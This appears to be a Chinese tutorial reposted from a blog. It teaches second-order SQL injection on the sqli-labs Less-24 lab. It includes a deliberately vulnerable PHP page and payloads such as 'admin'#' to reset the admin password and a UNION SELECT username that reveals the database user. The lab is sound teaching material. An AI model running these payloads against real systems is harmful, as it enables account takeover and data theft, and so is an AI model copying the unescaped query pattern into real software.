二次注入的原理


二次注入的原理

二次注入原理,主要分为两步
第一步:插入恶意数据
第二步:引用恶意数据
第一步:输入参数1’,函数经过转义函数变成’,参数进入数据库存储还原为1’
第二步:将1’从数据库中取出 取出后直接给变量带入SQL ,SQL注入触发

二次注入的方法
对sqlilabs的Less-24做部分修改,使的实验效果更明显
第一步 修改users表中username字段的长度

ALTER TABLE `users` CHANGE `username` `username` VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL;

第二步
添加userlist.php文件,显示所有用户的账号信息

<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
$sql="SELECT * FROM users ORDER BY id";
$result=mysql_query($sql);
$num=mysql_num_rows($result);
for ($i=0; $i < $num; ++$i) { 
    $row = mysql_fetch_array($result);
    $username = $row[1];
    $sql_detail = "SELECT * FROM users where username='$username'";
    $result_detail=mysql_query($sql_detail);
    $num_detail = mysql_num_rows($result_detail);
    for ($j=0; $j < $num_detail; ++$j) { 
        $row_detail = mysql_fetch_array($result_detail);
        echo<<<END <table border="1" style="table-layout:fixed;" width="1000"> <tr> <th>$row_detail[1]</th> <th>$row_detail[2]</th> </tr> </table> END;
    }
}
?>

注册一个新用户,用户名为admin’#,密码为123
在这里插入图片描述
在这里插入图片描述
登录上了之后,重新设置,设置用户名为123,密码为123
在这里插入图片描述
admin的密码改变了
在这里插入图片描述
因为在pass_change.php中,

$username= $_SESSION["username"];
$sql = "UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' ";

所以就达到了修改admin密码为自己想要的密码的目的
在使用时没有进行校验,以上是sqlilabs原始关卡的代码
注册一个用户,用户名:1’ union select 1,user(),3#
在这里插入图片描述
注册成功后,查看userlist.php
userlist.php中显示了root@localhost 3

$sql_detail = "SELECT * FROM users where username='1' union select 1,user(),3#'";
1, root@localhost,3

所以显示的时候就显示的是root@localhost 3


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM